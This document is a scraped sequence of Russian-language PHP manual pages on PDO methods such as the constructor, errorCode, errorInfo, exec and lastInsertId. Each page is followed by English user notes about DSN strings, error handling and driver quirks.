string $dsn,
?string $username = null,
?string $password = null,
?array $options = null
)

Создаёт экземпляр PDO, предоставляющий подключение к необходимой базе данных.

Список параметров

dsn

Имя источника данных или DSN, содержащее информацию, необходимую для подключения к базе данных.

В общем, DSN состоит из имени драйвера PDO, за которым следует двоеточие и специфический синтаксис подключения драйвера PDO. Дополнительную информацию можно получить из раздела Документация по специфическим драйверам PDO.

Параметр dsn поддерживает три разные метода указания аргументов, необходимых для создания соединения с базой данных:

Вызов драйвера

dsn содержит полный DSN.

Вызов URI

Параметр dsn состоит из строки uri: с последующим URI, который определяет расположение файла, содержащего строку DSN. URI может указывать на локальный файл или удалённый URL.

uri:file:///path/to/dsnfile

Совмещение имён

dsn состоит из имени name, которое соответствует параметру pdo.dsn.name в php.ini, определяющему строку DSN.

Замечание:

Псевдоним должен быть определён в php.ini, но не в .htaccess или httpd.conf

username

Имя пользователя для строки DSN. Этот параметр опционален для некоторых драйверов PDO.

password

Пароль для строки DSN. Этот параметр опционален для некоторых драйверов PDO.

options

Массив ключ=>значение специфичных для драйвера настроек подключения.

Ошибки

PDO::__construct() выбрасывает исключение PDOException, если попытка подключения к запрашиваемой базе данных завершается с ошибкой, независимо от того, какой PDO::ATTR_ERRMODE установлен в данный момент.

Примеры

Пример #1 Создание экземпляра PDO через вызов драйвера

<?php
/* Подключение к базе данных MySQL с помощью вызова драйвера */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

$dbh = new PDO($dsn, $user, $password);

?>

Пример #2 Создание экземпляра PDO через вызов URI

В следующем примере предполагается, что файл /usr/local/dbconnect существует с правами доступа, которые позволяют PHP прочитать файл. Файл содержит PDO DSN для подключения к базе данных DB2 через драйвер PDO_ODBC:

odbc:DSN=SAMPLE;UID=john;PWD=mypass

PHP-скрипт может создать подключение к базе данных путём простой передачи параметра uri:, указывающим на файл URI:

<?php
/* Подключение к базе данных ODBC с помощью вызова драйвера */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

Пример #3 Создание экземпляра PDO, используя псевдоним

В следующем примере предполагается, что php.ini содержит следующую запись, позволяющую подключиться к базе данных MySQL, используя только псевдоним mydb:

[PDO]
     pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"
<?php
/* Подключение к базе данных ODBC, используя псевдоним */
$dsn = 'mydb';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

User Contributed Notes

max1josef 12-May-2023 12:19
SQLite3: by default, the database file is created on opening if it does not exist (PDO::SQLITE_OPEN_CREATE).

<?php
$dsn = 'sqlite:D:\Databases\non_existing.db';   // file does not exist

try {
    $dbh = new PDO($dsn);
}
catch(PDOException $e) {
    print $e->getMessage();
}
?>

No Exception is thrown, instead file "non_existing.db" will be created. To avoid this, use:

<?php
$dsn = 'sqlite:D:\Databases\non_existing.db';
$options = [
    PDO::SQLITE_ATTR_OPEN_FLAGS => PDO::SQLITE_OPEN_READWRITE,
];

try {
    $dbh = new PDO('sqlite:D:\Databases\non_existing.db', null, null, $options);
}
catch(PDOException $e) {
    print $e->getMessage();
}
?>
This will ouput:
SQLSTATE[HY000] [14] unable to open database file

If you want to open the database read-only, use PDO::SQLITE_OPEN_READONLY.
theking2 at king dot ma 30-Jan-2023 10:27
A generic pattern to connect to a mariadb or mysql database using a settings file

<?php
$_SETTINGS = parse_ini_file('./settings.ini', true);

$db = new \PDO(
  "mysql:hostname={$_SETTINGS['db']['host']};dbname={$_SETTINGS['db']['name']}",
  $_SETTINGS['db']['user'],
  $_SETTINGS['db']['pass'],
  [
    \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
    \PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8mb4'"
  ]
);
?>
You might not need the options depicted here but I find them convenient.

Works with a settings.ini file containing for instance:
[db]
host = "localhost"
name = "dbname"
user = "dbuser"
pass = "dbpassword"
Michal Stefanak 13-Dec-2022 12:26
If you override PDO with own class and you want to implement alias from php.ini, you have to get it with `get_cfg_var` instead of `ini_get`.

<?php
class PDO extends \PDO
{
    public function __construct(string $dsn, ?string $username = null, ?string $password = null, ?array $options = null)
    {
        //alias
        if (!str_contains($dsn, ':')) {
            $dsn = get_cfg_var('pdo.dsn.' . $dsn);
            if (!$dsn) {
                throw new PDOException('Argument #1 ($dsn) must be a valid data source name');
            }
        }

        // your additional logic

        parent::__construct($dsn, $username, $password, $options);
    }
}
?>
453034559 at qq dot com 25-Jan-2022 02:25
// set DEFAULT_FETCH_MODE
<?php
    try {
        $p = new PDO("mysql:host=$db_host;port=$db_port;dbname=$db_dbname", $db_user, $db_pass,array(
            PDO::ATTR_DEFAULT_FETCH_MODE =>PDO::FETCH_ASSOC,
            PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8', //after php5.3.6
        ));
        //$p->exec('SET NAMES utf8');
    } catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
Aymeric S 20-Aug-2020 01:34
When trying to connect to a local database, it seems "uri:file:///" is no longer needed. Just write the PDO pilot name followed by the absolute path of the file.
Example : sqlite:C:\VirtualHosts\phpliteadmin\dbs\surveillance_logeas.s3DB
Francesco Montanari 27-Apr-2020 08:16
Most of the information in the comment here is outdated or wrong.

You do can use host=localhost to connect via socket, which is faster than TCP, so setting 127.0.0.1 is a performance loss.

To use proper utf you should use utf8mb4, for example:

$db = new PDO('mysql:host=' . DATABASE_HOST . ';dbname='. DATABASE_NAME .';charset=utf8mb4', DATABASE_USER, DATABASE_PASSWORD);
srycroft at excelsystems dot com 15-Jul-2016 05:37
For IBM i / iSeries / AS400 DB2 connections, you can specify system naming and library lists for php_pdo modules > 1.3.3-sg2

<?php
   $pdo = new PDO(
     'ibm:' . $host,
     $user,
     $password,
     array(
       PDO::I5_ATTR_DBC_SYS_NAMING => true,
       PDO::I5_ATTR_DBC_LIBL => "QGPL QSYS"
     )
   );
?>

See http://yips.idevcloud.com/wiki/index.php/XMLSERVICE/PHPPDOChangeLog
olivernybroe at gmail dot com 16-Apr-2016 09:05
The PDO connection is case-sensitive, this means that you cannot write
`$PDO = new PDO("MySQL:DBName=dbname;host=localhost");`
You would have to write it
`$PDO = new PDO("mysql:dbname=dbname;host=localhost");`

The difference here is that `mysql` and `dbname` is with all lower-case.

Some IDE's like PHPStorm will show a `TYPO ERROR`, at `dbname` if it's written with lower-case only, this is just to be ignored and have been reported to PHPStorm for them to fix. (Currrent version 10.0.2)
ohcc at 163 dot com 23-Nov-2015 05:37
You will get a fatal error if you don't catch the exception threw by PDO when it fails to connect to the database server like this.

Fatal error: in xxx.php on line xx

This error neither can be handled by error handlers nor can it be erased by the @ sign, which can make your script uncontrollable.

<?php
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
?>

You should always try ... catch ...

<?php
    try{
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
    }catch(PDOException $pe){
        echo $pe->getMessage();
    }
?>
daviddlavier at gmail dot com 09-Nov-2015 12:43
I'd like to point out that in PHP 7.0 in the dsn parameter you can't use 'host=localhost' to solve this you can use 'host=127.0.0.1' instead.
berk0081 at umn dot edu 16-Nov-2014 01:34
Although not explicitly stated, parameters in the PDO $dsn string may be case-sensitive on some platforms or drivers.

<?php
// The dbname will not be parsed with incorrect casing:
$pdo = new PDO("mysql:host=hostname;DBName=database", "user", "password");

// The correct dbname is lowercase, as displayed in the manual:
$pdo = new PDO("mysql:host=hostname;dbname=database", "user", "password");
?>
Kiipa at live dot com 19-Oct-2013 06:46
To get UTF-8 charset you can specify that in the DSN.

$link = new PDO("mysql:host=localhost;dbname=DB;charset=UTF8");
Anonymous 29-May-2013 05:30
Sqlite:

<?php
try{
    $pdo = new PDO('sqlite:example.db');
}catch (PDOException $e){
     die ('DB Error');
}
?>

If 'example.db' does not exist, no exception is thrown but the file 'example.db' is created.
piotrekkr at o2 dot pl 15-Sep-2010 12:19
To connect throught unix socket you need to use
<?php
$dsn = 'mysql:dbname=testdb;unix_socket=/path/to/socket';
?>

You musn't specify host when using socket.
Victor T. 20-Feb-2010 09:34
If you use the UTF-8 encoding, you have to use the fourth parameter :

<?php
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
?>
subme at interia dot pl 25-Nov-2008 02:03
To specify a database connection port use the following DSN string

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3333';
?>


Возвращает код SQLSTATE результата последней операции с базой данных

  • « PDO::__construct
  • PDO::errorInfo »
  • PHP Manual
  • PDO
  • Возвращает код SQLSTATE результата последней операции с базой данных

PDO::errorCode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::errorCode — Возвращает код SQLSTATE результата последней операции с базой данных

Описание

public PDO::errorCode(): ?string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает SQLSTATE - пятисимвольный идентификатор, определённый в стандарте ANSI SQL-92. Первые два символа SQLSTATE отвечают за класс ошибки, а следующие три определяют её подкласс. Класс ошибок 01 означает предупреждение, которому сопутствует возвращаемый код SQL_SUCCESS_WITH_INFO. Классы отличные от 01, за исключением 'IM', означают ошибки выполнения запросов к базе данных. Класс 'IM' свидетельствует об ошибках и предупреждениях, которые вызваны самой реализацией PDO (или, возможно, ODBC, если используется драйвер ODBC). Значение подкласса '000' в любом классе означает, что подкласс для этого SQLSTATE отсутствует.

PDO::errorCode() выдаёт код ошибки только для операций, совершаемых с базой данных напрямую из PDO. Если создать объект PDOStatement методами PDO::prepare() или PDO::query(), и вызвать ошибку его методами, PDO::errorCode() эту ошибку не отобразит. Вам нужно вызвать PDOStatement::errorCode(), чтобы получить код ошибки для операции, выполняемой на определённом объекте PDOStatement.

Возвращает null, если никаких операций над базой данных средствами PDO-объекта не производилось.

Примеры

Пример #1 Получение кода SQLSTATE

<?php
/* Спровоцируем ошибку -- таблицы BONES не существует */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ", $dbh->errorCode();
?>

Результат выполнения данного примера:

PDO::errorCode(): 42S02

Смотрите также

  • PDO::errorInfo() - Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
  • PDOStatement::errorCode() - Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement
  • PDOStatement::errorInfo() - Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

User Contributed Notes

fractalf 28-Apr-2023 08:17
List of PostgreSQL error codes:
https://www.postgresql.org/docs/current/errcodes-appendix.html
runrioter at gmail dot com 14-Dec-2014 03:51
This reading says that "Returns NULL if no operation has been run on the database handle".

When I tested it based on pdo-mysql, I got 00000, not NULL!
Matthias Leuffen 04-Dec-2005 04:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
    $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
    if ($e->getCode() == '2A000')
        echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias


Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных

  • « PDO::errorCode
  • PDO::exec »
  • PHP Manual
  • PDO
  • Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных

PDO::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::errorInfo — Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных

Описание

public PDO::errorInfo(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

PDO::errorInfo() возвращает массив с информацией об ошибке, произошедшей в ходе выполнения последней операции с базой данных. Массив содержит как минимум следующие поля:

Элемент | Информация
0 | Код ошибки SQLSTATE (пятисимвольный идентификатор, определённый в стандарте ANSI SQL).
1 | Код ошибки, заданный драйвером.
2 | Сообщение об ошибке, заданное драйвером

Замечание:

Если не задан SQLSTATE код или драйвер не сообщил об ошибке, то элементы следующие за нулевым будут иметь значение null.

PDO::errorInfo() выдаёт информацию об ошибке только для операций, совершаемых с базой данных напрямую из PDO. Если создать объект PDOStatement методами PDO::prepare() или PDO::query(), и вызвать ошибку его методами, PDO::errorInfo() эту ошибку не отобразит. Вам нужно вызвать PDOStatement::errorInfo(), чтобы получить информации об ошибках для операции, выполняемой на определённом объекте PDOStatement.

Примеры

Пример #1 Вывод полей массива errorInfo() для PDO_ODBC подключения к базе данных DB2

<?php
/* Спровоцируем синтаксическую ошибку SQL */
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
echo "\nPDO::errorInfo():\n";
print_r($dbh->errorInfo());
}
?>

Результат выполнения данного примера:

PDO::errorInfo():
Array
(
    [0] => HY000
    [1] => 1
    [2] => near "bogus": syntax error
)

Смотрите также

  • PDO::errorCode() - Возвращает код SQLSTATE результата последней операции с базой данных
  • PDOStatement::errorCode() - Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement
  • PDOStatement::errorInfo() - Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

User Contributed Notes

alagar86 at gmail dot com 09-Jan-2011 01:29
Please note : that this example won't work if PDO::ATTR_EMULATE_PREPARES is true.

You should set it to false

<?php
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>
mazen at mindcraftinc dot com 23-Sep-2008 11:43
Some PDO drivers return a larger array. For example, the SQL Server driver returns 5 values.

For example:
<?php
$numRows = $db->exec("DELETE FROM [TableName] WHERE ID between 6 and 17");
print_r($db->errorInfo());
?>

Result:

Array
(
    [0] => 00000
    [1] => 0
    [2] => (null) [0] (severity 0) []
    [3] => 0
    [4] => 0
)
quickshiftin at gmail dot com 02-Jun-2007 08:29
here are the error codes for sqlite, straight from their site:

The error codes for SQLite version 3 are unchanged from version 2. They are as follows:
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ERROR        1   /* SQL error or missing database */
#define SQLITE_INTERNAL     2   /* An internal logic error in SQLite */
#define SQLITE_PERM         3   /* Access permission denied */
#define SQLITE_ABORT        4   /* Callback routine requested an abort */
#define SQLITE_BUSY         5   /* The database file is locked */
#define SQLITE_LOCKED       6   /* A table in the database is locked */
#define SQLITE_NOMEM        7   /* A malloc() failed */
#define SQLITE_READONLY     8   /* Attempt to write a readonly database */
#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite_interrupt() */
#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */
#define SQLITE_CORRUPT     11   /* The database disk image is malformed */
#define SQLITE_NOTFOUND    12   /* (Internal Only) Table or record not found */
#define SQLITE_FULL        13   /* Insertion failed because database is full */
#define SQLITE_CANTOPEN    14   /* Unable to open the database file */
#define SQLITE_PROTOCOL    15   /* Database lock protocol error */
#define SQLITE_EMPTY       16   /* (Internal Only) Database table is empty */
#define SQLITE_SCHEMA      17   /* The database schema changed */
#define SQLITE_TOOBIG      18   /* Too much data for one row of a table */
#define SQLITE_CONSTRAINT  19   /* Abort due to contraint violation */
#define SQLITE_MISMATCH    20   /* Data type mismatch */
#define SQLITE_MISUSE      21   /* Library used incorrectly */
#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */
#define SQLITE_AUTH        23   /* Authorization denied */
#define SQLITE_ROW         100  /* sqlite_step() has another row ready */
#define SQLITE_DONE        101  /* sqlite_step() has finished executing */


Выполняет SQL-запрос и возвращает количество затронутых строк

  • « PDO::errorInfo
  • PDO::getAttribute »
  • PHP Manual
  • PDO
  • Выполняет SQL-запрос и возвращает количество затронутых строк

PDO::exec

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::exec — Выполняет SQL-запрос и возвращает количество затронутых строк

Описание

public PDO::exec(string $statement): int|false

PDO::exec() запускает SQL-запрос на выполнение и возвращает количество строк, задействованных в ходе его выполнения.

PDO::exec() не возвращает результат выборки оператором SELECT. Если вам нужно выбрать данные этим оператором единожды в ходе выполнения программы, воспользуйтесь методом PDO::query(). Если требуется запускать один и тот же запрос на выборку множество раз, лучше создать подготовленный запрос PDOStatement методом PDO::prepare(), а затем запускать его методом PDOStatement::execute() столько раз, сколько потребуется.

Список параметров

statement

SQL-выражение, которое необходимо подготовить и запустить.

Данные внутри запроса должны быть правильно экранированы.

Возвращаемые значения

PDO::exec() возвращает количество строк, которые были модифицированы или удалены в ходе его выполнения. Если таких строк нет, PDO::exec() вернёт 0.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

В этом примере разработчик допустил ошибку, полагаясь на возвращаемый результат PDO::exec(). В результате, если запрос отработал без ошибок, но не модифицировал ни одной строки, работа скрипта будет завершена функцией die():

<?php
$db->exec() or die(print_r($db->errorInfo(), true)); // неправильно
?>

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Выполнение запроса DELETE

Получение количества удалённых записей запросом DELETE без условий WHERE.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* Удаляем все записи из таблицы FRUIT */
$count = $dbh->exec("DELETE FROM fruit");

/* Получим количество удалённых записей */
print("Удалено $count строк.\n");
?>

Результат выполнения данного примера:

Удалено 1 строк.

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение

User Contributed Notes

Sbastien 13-Sep-2022 03:21
Note that with MySQL you can detect a DUPLICATE KEY with INSERT (1 = INSERT, 2 = UPDATE) :

<?php

// MySQL specific INSERT UPDATE-like syntax
$sql = <<<SQL
    INSERT INTO customers
    SET
        id = {$pdo->quote($id)},
        name = {$pdo->quote($name)},
        address = {$pdo->quote($address)}
        AS new
    ON DUPLICATE KEY UPDATE
        name = new.name,
        address = new.address
    SQL;

$result = $pdo->exec($sql);

if ($result === 1) {
    // An INSERT of a new row has be done
} elseif ($result === 2) {
    // An UPDATE of an existing row has be done
}
calin at NOSPAM dot softped dot com 16-Oct-2015 11:20
PDO::eval() might return `false` for some statements (e.g. CREATE TABLE) even if the operation completed successfully, when using PDO_DBLIB and FreeTDS. So it is not a reliable way of testing the op status.

PDO::errorInfo() can be used to test the SQLSTATE error code for '00000' (success) and '01000' (success with warning).

<?php
function execute(PDO $conn, $sql) {
    $affected = $conn->exec($sql);
    if ($affected === false) {
        $err = $conn->errorInfo();
        if ($err[0] === '00000' || $err[0] === '01000') {
            return true;
        }
    }
    return $affected;
}
?>

PDO::errorInfo(): http://php.net/manual/en/pdo.errorinfo.php
List of SQLSTATE Codes: http://www-01.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqls.doc/ids_sqs_0809.htm
hungry dot rahly at gmail dot com 10-Nov-2010 05:24
For those that want an exec that handles params like prepare/execute does.  You can simulate this with another function

<?php
class Real_PDO extends PDO {
  public function execParams($sql, $params) {
    $stm = $this->prepare($sql);
    $result = false;
    if( $stm && $stm->execute($params) ) {
      $result = $stm->rowCount();
      while( $stm->fetch(PDO::FETCH_ASSOC) ) {
      }
    }
    return $result;
  }
}
?>

Remember though, if you are doing a lot of inserts, you'll want to do it the manual way, as the prepare statement will speed up when doing multiple executes(inserts).  I use this so I can place all my SQL statements in one place, and have auto safe quoting against sql-injections.

If you are wondering about the fetch after, remember some databases can return data SELECT-like data from REMOVE/INSERTS.  In the case of PostgreSQL, you can have it return you all records that were actually removed, or have the insert return the records after the insert/post field functions, and io trigger fire, to give you normalized data.

<?php
define("BLAH_INSERT", "INSERT INTO blah (id,data) VALUES(?,?)");
$pdo = new Real_PDO("connect string");
$data = array("1", "2");
$pdo->execParams(BLAH_INSERT, $data);
?>
blah at whatevr dot com 05-Sep-2007 08:07
You can't use it not only with SELECT statement, but any statement that might return rows. "OPTIMIZE table" is such example (returns some rows with optimization status).

If you do, PDO will lock-up with the "Cannot execute queries while other unbuffered queries are active." nonsense.
roberto at spadim dot com dot br 18-Dec-2006 11:47
this function don't execute multi_query
to get it see SQLITE_EXEC comments there is an pereg function that get all queries and execute all then an return the last one
soletan at toxa dot de 29-Aug-2006 01:40
It's worth noting here, that - in addition to the hints given in docs up there - using prepare, bind and execute provides more benefits than multiply querying a statement: performance and security!

If you insert some binary data (e.g. image file) into database using INSERT INTO ... then it may boost performance of parsing your statement since it is kept small (a few bytes, only, while the image may be several MiBytes) and there is no need to escape/quote the file's binary data to become a proper string value.

And, finally and for example, if you want to get a more secure PHP application which isn't affectable by SQL injection attacks you _have to_ consider using prepare/execute on every statement containing data (like INSERTs or SELECTs with WHERE-clauses). Separating the statement code from related data using prepare, bind and execute is best method - fast and secure! You don't even need to escape/quote/format-check any data.
david at acz dot org 09-Feb-2006 04:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.


Получить атрибут соединения с базой данных

  • « PDO::exec
  • PDO::getAvailableDrivers »
  • PHP Manual
  • PDO
  • Получить атрибут соединения с базой данных

PDO::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDO::getAttribute — Получить атрибут соединения с базой данных

Описание

public PDO::getAttribute(int $attribute): mixed

Эта функция возвращает значение атрибута соединения с базой данных. Чтобы получить атрибуты PDOStatement, обратитесь к PDOStatement::getAttribute().

Обратите внимание, что некоторые комбинации базы данных/драйверов могут не поддерживать всех атрибутов соединения с базой данных.

Список параметров

attribute

Одни из PDO::ATTR_* констант. Следующие общие атрибуты, применяются для соединений с базами данных:

  • PDO::ATTR_AUTOCOMMIT
  • PDO::ATTR_CASE
  • PDO::ATTR_CLIENT_VERSION
  • PDO::ATTR_CONNECTION_STATUS
  • PDO::ATTR_DRIVER_NAME
  • PDO::ATTR_ERRMODE
  • PDO::ATTR_ORACLE_NULLS
  • PDO::ATTR_PERSISTENT
  • PDO::ATTR_PREFETCH
  • PDO::ATTR_SERVER_INFO
  • PDO::ATTR_SERVER_VERSION
  • PDO::ATTR_TIMEOUT

Некоторые драйверы могут использовать собственные дополнительные атрибуты. Обратите внимание, что атрибуты драйвера не должны использоваться с другими драйверами.

Возвращаемые значения

Успешный вызов возвращает значение запрашиваемого атрибута PDO. Неудачный вызов возвращает null.

Примеры

Пример #1 Получение атрибутов соединения с базой данных

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');
$attributes = array(
"AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
"ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
"TIMEOUT"
);

foreach ($attributes as $val) {
echo "PDO::ATTR_$val: ";
echo $conn->getAttribute(constant("PDO::ATTR_$val")) . "\n";
}
?>

Смотрите также

  • PDO::setAttribute() - Установка атрибута
  • PDOStatement::getAttribute() - Получение значения атрибута запроса PDOStatement
  • PDOStatement::setAttribute() - Устанавливает атрибут объекту PDOStatement

User Contributed Notes

Phil Hilton 15-Jun-2018 01:54
Better example that handles unsupported attributes gracefully:

<?php

$conn = new PDO( 'odbc:sample', 'db2inst1', 'ibmdb2' );
$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ( $attributes as $val ) {
    echo "PDO::ATTR_$val: ";
    try {
        echo $conn->getAttribute( constant( "PDO::ATTR_$val" ) ) . "\n";
    } catch ( PDOException $e ) {
        echo $e->getMessage() . "\n";
    }
}

?>
Robert Parham 02-Sep-2015 06:45
Oracle does not have the following attributes:

PDO::ATTR_CONNECTION_STATUS: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_PREFETCH: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute
PDO::ATTR_TIMEOUT: SQLSTATE[IM001]: Driver does not support this function: driver does not support that attribute

The rest work fine.


Возвращает массив доступных драйверов PDO

  • « PDO::getAttribute
  • PDO::inTransaction »
  • PHP Manual
  • PDO
  • Возвращает массив доступных драйверов PDO

PDO::getAvailableDrivers

pdo_drivers

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.3)

PDO::getAvailableDrivers -- pdo_drivers — Возвращает массив доступных драйверов PDO

Описание

public static PDO::getAvailableDrivers(): array
pdo_drivers(): array

Эта функция возвращает все имеющиеся в настоящее время драйверы PDO, которые можно использовать в DSN-параметре PDO::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция PDO::getAvailableDrivers() возвращает массив имён драйверов PDO. Если нет драйверов, то возвращается пустой массив.

Примеры

Пример #1 Пример выполнения PDO::getAvailableDrivers()

<?php
print_r(PDO::getAvailableDrivers());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql
    [1] => sqlite
)

User Contributed Notes

iabdullah 07-Aug-2014 07:31
Since the method is a static, one practice is using it to check whether a specific server database driver is available and configured correctly with PDO before establishing the connection:
<?php
try {
    if (!in_array("mysql",PDO::getAvailableDrivers(),TRUE))
    {
        throw new PDOException ("Cannot work without a proper database setting up");
    }
}
catch (PDOException $pdoEx)
{
    echo "Database Error .. Details :<br /> {$pdoEx->getMessage()}";
}
?>
or to check for any driver in general:
<?php
    if (empty(PDO::getAvailableDrivers()))
    {
        throw new PDOException ("PDO does not support any driver.");
    }
?>


Проверяет, начата ли транзакция

  • « PDO::getAvailableDrivers
  • PDO::lastInsertId »
  • PHP Manual
  • PDO
  • Проверяет, начата ли транзакция

PDO::inTransaction

(PHP 5 >= 5.3.3, Bundled pdo_pgsql, PHP 7, PHP 8)

PDO::inTransaction — Проверяет, начата ли транзакция

Описание

public PDO::inTransaction(): bool

Проверяет, активна ли в данный момент транзакция в драйвере. Этот метод работает только для драйверов баз данных, которые поддерживают транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если транзакция в данный момент активна и false, если нет.

User Contributed Notes

dennis 03-Oct-2022 12:07
At least for MySQL/MariaDB, inTransaction shows the real state of the transaction since 8.0
Anonymous 10-Aug-2020 07:27
In addition to what jlh says,
even with SQLite3 which automatically starts transaction,
inTransaction() only works after beginTransaction().

<?php
try{

    $pdo = new PDO('sqlite:test.sql3', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : before beginTransaction()
    $pdo->beginTransaction();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(true)  : after beginTransaction()
    $pdo->rollBack();
    var_dump($pdo->inTransaction());echo "<br>";    // bool(false) : after commit() or rollBack()

}catch (PDOException $e){

    echo 'PDOException: ' . $e->getMessage();

}catch (Exception | ErrorException $e){

    var_dump($e);

}
jlh 05-Jun-2020 02:50
Important note: This will only detect whether a transaction has been started using beginTransaction(). It will not be able to detect transactions started by any other means, for example by executing "START TRANSACTION".


Возвращает ID последней вставленной строки или значение последовательности

  • « PDO::inTransaction
  • PDO::prepare »
  • PHP Manual
  • PDO
  • Возвращает ID последней вставленной строки или значение последовательности

PDO::lastInsertId

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::lastInsertId — Возвращает ID последней вставленной строки или значение последовательности

Описание

public PDO::lastInsertId(?string $name = null): string|false

Возвращает ID последней вставленной строки или последнее значение от объекта последовательности, в зависимости от базового драйвера. Например, драйвер PDO_PGSQL разрешает задать имя объекта последовательности для параметра name.

Замечание:

В зависимости от драйвера PDO этот метод может вообще не выдать осмысленного результата, так как база данных может не поддерживать автоматического инкремента полей или последовательностей.

Список параметров

name

Имя объекта последовательности, который должен выдать ID.

Возвращаемые значения

Если объект последовательности для параметра name не задан, метод PDO::lastInsertId() вернёт строку, представляющую ID последней добавленной в базу записи.

Если же объект последовательности для параметра name задан, метод PDO::lastInsertId() вернёт строку, представляющую последнее значение, полученное от этого объекта.

Если PDO-драйвер не поддерживает эту возможность, метод PDO::lastInsertId() запишет значение IM001 в SQLSTATE.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

User Contributed Notes

phpmanual at NOSPAM dot headbank dot co dot uk 10-Dec-2021 06:27
MySQL/MariaDB users, be aware that although this function returns a string, leading zeroes are NOT preserved if your column has ZEROFILL property.
nafsinvk at gmail dot com 25-Dec-2018 07:06
$dbh->commit();
print $dbh->lastInsertId();
The above will always return zero (0)
